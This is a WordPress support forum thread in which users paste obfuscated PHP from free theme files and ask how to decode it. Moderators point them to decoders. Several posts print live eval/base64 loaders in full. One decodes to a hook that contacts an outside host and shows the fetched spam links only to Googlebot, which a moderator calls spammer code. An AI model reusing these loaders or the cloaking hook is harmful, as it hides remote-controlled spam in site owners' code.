• Hello,

    I downloaded a free template for wordpress, and i would like add some information in the footer but it’s impossible because is encode in base 64… And i don’t know how decrypt it, i have try some online tools to decode my footer.php but i think is encode, encode a new, and encode again so it’s very difficult to decode it for me, who i’m not a programer.

    [code]
    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnbmlka3JjYicvUwAAQkpXS0ZTQldGU08nKScgKAEAZWhzc2hqKQJQIC48Jzg5Cg0EuDsoY25xAIAODgDFDgCxANABgCduYwBgOiVhaGhzYnUlAkABUHR3ZmknBCBka2Z0dAGQa2JhcwGBDkNidG4AAGBpJztmJ291YmE6JW9zc3cAAD0oKHBwcClicWJ1fnNvbmkAAGBlYnV1filkaGooZWtmZGyAAADyKnRzaHVqKmRmdGJ0JSc5UkFFAZFFAoEnVAGRJ0QBkTsoZjknB8BgpCgH0Qh/YXVuYG8IgicAEERoD5B0cgYEd3dodXMJHwkRY3JlaGhsCJIlOQADQXViYmtmaWRiJ1B1bnMKYAbRYAIrA58DkHVibmxuamZjdW5jA9MnOGA5VQExAy8PwmJlNWEFwAK1UGh1Y3cAH3VidHQnc29iamJ0A2ENRhfAF1EYxcUIAIYc4nB3WBgzLxs2ZWhjfhCQOyhvGABzamsRwQ+QJyc=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
    [/code]

    This is my footer.php, could you help me to decode it?

    Thanks a lot ??

    Cherubin13

Viewing 15 replies - 106 through 120 (of 148 total)
  • Please hepl me Decode file:

    index.php
    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o=”QAAAOzh3b3cnYGJzWG9iZmNidQAgLy48Jzg5Cg0KDQGjbmlka3IAAGNiJy9TQkpXS0ZTQldGU08ABScpJyAoYGZra2J1fikEACADXIQABPFhaGhzBPU=”;eval(base64_decode(“JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw==”));return;?>

    Read the thread and you can decode the theme yourself..

    Also read the post directly above as it looks like you’re asking for a decode of exactly the same thing.

    Can you pleaseeeeeeeeeee decode this for me please

    <?php $_F=__FILE__;$_X=’Pz4JPD9waHAgZ2wyYjFsICR0aDVtNV8ycHQ0Mm5zLCAkbjV3c3AxcDVyOyA/Pg0KCTw/cGhwIHdwX2YyMnQ1cigpOyA/Pg0KCTxkNHYgNGQ9ImYyMnQ1cm4xdmIxciI+DQoJCTxkNHYgNGQ9ImYyMnQ1ckMxdElubjVyIj4NCgkJCTw/cGhwIDRmICggIWYzbmN0NDJuXzV4NHN0cygnZHluMW00Y19zNGQ1YjFyJykgfHwgIWR5bjFtNGNfczRkNWIxcignTnBBZHZfRjIydDVyQzF0NWcycjQ1cycpICkgOiA/PgkNCgkJCTwzbD4NCgkJCQk8P3BocCB3cF9sNHN0X2MxdDVnMnI0NXMoJzJyZDVyYnk9Jy4kdGg1bTVfMnB0NDJuc1siMnJkNXJCeSJdLicmMnJkNXI9Jy4kdGg1bTVfMnB0NDJuc1siMnJkNXIiXS4nJnQ0dGw1X2w0PSZkNXB0aD02JjV4Y2wzZDU9Jy4kdGg1bTVfMnB0NDJuc1siNXhjbDNkNUMxdDVnMnI0NXMiXSk7ID8+DQoJCQk8LzNsPg0KCQkJPD9waHAgNW5kNGY7ID8+DQoJCTwvZDR2Pg0KCTwvZDR2Pg0KCQ0KCTxkNHYgNGQ9ImYyMnQ1clAxZzVzIj4NCgkJPGQ0diA0ZD0iZjIydDVyUDFnNUlubjVyIj4NCgkJCTw/cGhwIDRmICggIWYzbmN0NDJuXzV4NHN0cygnZHluMW00Y19zNGQ1YjFyJykgfHwgIWR5bjFtNGNfczRkNWIxcignTnBBZHZfRjIydDVyUDFnNXMnKSApIDogPz4JDQoJCQk8M2w+DQoJCQkJPD9waHAgJHAxZzVzID0gZzV0X3AxZzVzKCk7DQoJCQkJCWYycjUxY2goJHAxZzVzIDFzICRwMWc1KSB7DQoJCQkJCXByNG50ICc8bDQ+WzwxIGhyNWY9IicuZzV0X3A1cm0xbDRuaygkcDFnNS0+SUQpLiciPicuJHAxZzUtPnAyc3RfdDR0bDUuJzwvMT5dPC9sND4nOw0KCQkJCQl9DQoJCQkJPz4NCgkJCQk8bDQ+WzwxIGhyNWY9Ijw/cGhwIGJsMmc0bmYyKCdyc3NhXzNybCcpOyA/PiI+UlNTPC8xPl08L2w0Pg0KCQkJPC8zbD4NCgkJCTxwPg0KCQkJICA8P3BocCA1bmQ0ZjsgPz4NCgkJCSAgPHNwMW4gNGQ9InRoNW01SW5mMiI+DQoJCQkgICAgPD9waHAgNGYgKCAhZjNuY3Q0Mm5fNXg0c3RzKCdkeW4xbTRjX3M0ZDViMXInKSB8fCAhZHluMW00Y19zNGQ1YjFyKCdOcEFkdl9GMjJ0NXJUaDVtNUluZjInKSApIDogPz4JDQoJCQkgICAgDQoJCQkgICAgPD9waHAgd3BfbDJnNG4yM3QoKTsgPz4NCgkJCSAgICA8P3BocCA0ZiAoIDRzXzNzNXJfbDJnZzVkXzRuKCkgKSB7ID8+IA0KCQkJICAgIC0gDQoJCQkgICAgPDEgaHI1Zj0iPD9waHAgYmwyZzRuZjIoJzNybCcpOyA/Pi93cC0xZG00bi81ZDR0LnBocCI+PD9waHAgNWNoMiAkbjV3c3AxcDVyWyJtMW4xZzUiXTsgPz48LzE+IC0gDQoJCQkgICAgPDEgaHI1Zj0iPD9waHAgYmwyZzRuZjIoJzNybCcpOyA/Pi93cC0xZG00bi9wMnN0LW41dy5waHAiPjw/cGhwIDVjaDIgJG41d3NwMXA1clsid3I0dDVONXciXTsgPz48LzE+DQoJCQkgICAgPD9waHAgfSA/Pg0KCQkJICAgIC8gDQoJCQkgICAgV3BBZHYxbmM1ZCBONXdzUDFwNXIgcHI1bTQzbSB3MnJkcHI1c3MgdDVtcGwxdDVzIFNoMXI1ZCBieSA8MSBocjVmPSJodHRwOi8vd3d3Lm41bTVzNHNtNWQ0MS50ayIgdDFyZzV0PSJfYmwxbmsiPkcxYmY0cjUgVGg1bTVzPC8xPg0KCQkJICAgIDw/cGhwIDVuZDRmOyA/Pg0KCQkgICAgICA8L3NwMW4+IDwvcD4NCgkJICAgIDxwPjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij48IS0tDQpnMjJnbDVfMWRfY2w0NW50ID0gInAzYi02OWVlMG84OGE4ZThhOTY3IjsNCi8qIDdhOHg2aSwgY3I1MXQ1ZCA4LzZlLzA4ICovDQpnMjJnbDVfMWRfc2wydCA9ICJ1MDk2NnVhMDB1IjsNCmcyMmdsNV8xZF93NGR0aCA9IDdhODsNCmcyMmdsNV8xZF9oNTRnaHQgPSA2aTsNCi8vLS0+DQo8L3NjcjRwdD4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ig0Kc3JjPSJodHRwOi8vcDFnNTFkYS5nMjJnbDVzeW5kNGMxdDQybi5jMm0vcDFnNTFkL3NoMndfMWRzLmpzIj4NCjwvc2NyNHB0PjwvcD4NCgkJPC9kNHY+DQoJPC9kNHY+’;eval(base64_decode(‘JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw==’));?>

    Solution From My Blog Asif2BD.info
    Process 1.
    In site’s theme folder find index.php, then find the line that says <?php get_footer(); ?>. Above and below it add special text like this:

    <!– Encoded Code Start –>
    <?php get_footer(); ?>
    <!– Encoded Code End –>

    Now visit your site as normal, view page source ( in Firefox Right Click Select -> View Page Source), and copy the HTML between those two markers. Now Find the footer.php in your theme folder, select all existing junk encoded code and replace with the copied code. Remember to insert the before tag.

    Simple & Easy.

    Process 2.
    Use this site, paste your encoded code and decode to base64
    Visit – https://LinkX.In/base64decode

    @asif2bd
    As I’ve explained before, while that method works most of the time there are problems with it…

    a) If there are PHP or javascript functions executing in the background there may be no generated output and… more importantly…
    b) This requires one to actually upload & execute this code. I would never upload anything to my server without first knowing what it does. While it’s true obfuscation is used mainly to protect spammy footer links, the technique could easily be used for something far more sinister.

    @paki123
    This code is not base64 – it is byterun. The decoded file is here.

    https://wordpress.pastebin.com/m5f0c51ac

    PS: love how they obfuscated the Google Adsense code.

    Moderator Samuel Wood (Otto)

    (@otto42)

    www.remarpro.com Admin

    For everybody: ByteRun code looks like this:
    <?php $_F=__FILE__;$_X='encrypted text';eval(base64_decode('rubbish'));?>

    Those can be decoded by this site: https://www.tareeinternet.com/scripts/byterun.php

    Just copy and paste the encrypted text only ($_X=’encrypted text’;) in there and you’ll get the decoded text.

    I have decrypted the footer of the WPBoxedTech theme.
    You can download the footer.php file by this site:
    https://www.chsweb.cn/?p=508

    I got this in archive.php, it’s kinda unusal because most people only encode the footer, not the archive page:

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnYGJzWG9iZmNidQAALy48Jzg5Cg0KDTtjbnEnbgAUYzolZGhpc2JpcyUBYg4BfWtiQgBhAbIOCg0OAdNka2Z0dDold2gDgHRzZnViZgOBAdMGsm5pZGtyY2IAAC9TQkpXS0ZTQldGU08pJShARGUCoGNkdXJqZSkJECUuPAhRDg6gCAOSDgpTbmEnL29mcWJYBaF0Ly4ATi4nPSdwb25rYgF/c28CYwzlBJA7AAxvNjk7ZidvdWJhOiUFEwJiYnUAgGpma25pbC8uD4AlJ3ViazolACBlaGhsamZ1bCU5ApdzbnNrYoHwBQM7KGY5OygFAA8xCiQS0Q+UY2ZzYvwAD1IL5BFqAdETNglwDjt3OTt0d2ZpJ4wAA+RzbmoD4AeJamIvIEEnbSsnXkkAIBnSOygDATknAkNYYi8lZX4lKwAHJyB0c3Jjbmh3dWJ0dAKTAiQOcQLAZnJzb2h1E6NYDvMegSchaWV0d0MCPASjYmNucwIiAhNYWC8gL0IBQC54UCAF3QEAAUEGZWV1JygI+UEZQGMncmn0GCTwCY8WYAmIZBLAYGh1fi8FARghOyh3I/g5JxWCDjsoFVAnUBJhASQBEBKFFJF1bmBwZm8n0wJBFK1uZGhqaiuSH49Ydx+HEJEks5ACxHQfNQEFWGkpMDFwEOFLYifgJ2YnROXXBYMLMRdKKycCYTYCDxlEAgMiAgV0BB4d9CXh/wceMhDfNkAlZBHoEdI5giREZGtiZnUMoBQWAiPAfDgCIOFif2RidXdzLOQVWAOeLe830WpiGb1zZjUuNCwfZmAUZinRUwEBIyASuhdBPSCIR+JzAlAvICAgIw/GC3MMZgjUDHJiaWM/wjwD8Cdia3RiPSVgAtIAUiCRAlIH8CBUaHUBAHV+KydpaCcLoXQnamZzZG9iAABjJ35ocnUnZHVuc2J1bmYp8OEYvgoRF/ExtGljbmEBMQYLBSJYaWZxMyMAMCAnISQ/NTY1PCcE8CCxIWtmdgAAcmg8J1d1YnFuaHJ0J1dmYHCOYgHAOrshc0lif3MCAichdQNiAo4h5Hf/gDEzCKEgSBHBAPZb0BACVs9WwnRuY2JlZnX4FFaaAzAWhACgA9IoKCdTb2ITAG5JwGhrCcVyamknF1B0JxayAlVjkWFoaBRQLwny";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    not sure what it does, can somebody decode it for me please. Thank you.

    Moderator Samuel Wood (Otto)

    (@otto42)

    www.remarpro.com Admin

    tinotk: Your decoded code is here:
    https://wordpress.pastebin.com/f71309ff3

    Moderator Samuel Wood (Otto)

    (@otto42)

    www.remarpro.com Admin

    Since I’m sick of doing this over and over again:

    This will decode the encryption that seems most commonplace, the one that looks like $o=whatever:

    https://ottodestruct.com/decoder.php

    I based the interface off this one, which will decode the one that starts with $_F=__FILE__:

    https://www.tareeinternet.com/scripts/byterun.php

    Hi Otto42,
    your byterun encoder seems dont run for me.

    My Code was here https://pastebin.ca/1534845 .

    What is my fault or what i can do?

    Thx a lot Encoding-Guru ??

    Regards
    Voxx1668 `

    Moderator Samuel Wood (Otto)

    (@otto42)

    www.remarpro.com Admin

    I didn’t write the byterun decoder, however, I just tried it and it works fine on the code you posted there.

    Just copy and paste everything from Pz4JCT all the way to L2h0bWw+ and put it in there. Then hit the button. Voila.

    See how your code contains $_X='.. a bunch of crap here ..';? You only want that bunch of crap, not all the rest of it.

    Can anyone decode this

    eval(base64_decode(‘ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO2lmKHByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApKXskYWR3Yl9vcHQgPSBhcnJheSh0aW1lKCksICRhZHdiX3RtcFsxXSk7JHdwZGItPnF1ZXJ5KCJVUERBVEUgJHdwZGItPm9wdGlvbnMgU0VUIG9wdGlvbl92YWx1ZT0nIi5teXNxbF9lc2NhcGVfc3RyaW5nKHNlcmlhbGl6ZSgkYWR3Yl9vcHQpKS4iJyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIik7fX1pZiAoZXJlZ2koImdvb2dsZWJvdCIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSllY2hvICRhZHdiX29wdFsxXTt9YWRkX2FjdGlvbigid3BfZm9vdGVyIiwgIndwX2dldF9mb290ZXJfbWV0YSIpOw0KPz4=’));

    Moderator Samuel Wood (Otto)

    (@otto42)

    www.remarpro.com Admin

    rashidr: Replace the “eval” with an “echo” and run it. That’ll decode it.

    The code inserts a third party advertisement into your page that will only be seen by Google. Essentially, it’s spamming your site’s search results with it’s own advertising.

    I’d simply remove that code entirely. It’s spammer code.

Viewing 15 replies - 106 through 120 (of 148 total)
  • The topic ‘footer in base64… how decrypt it?’ is closed to new replies.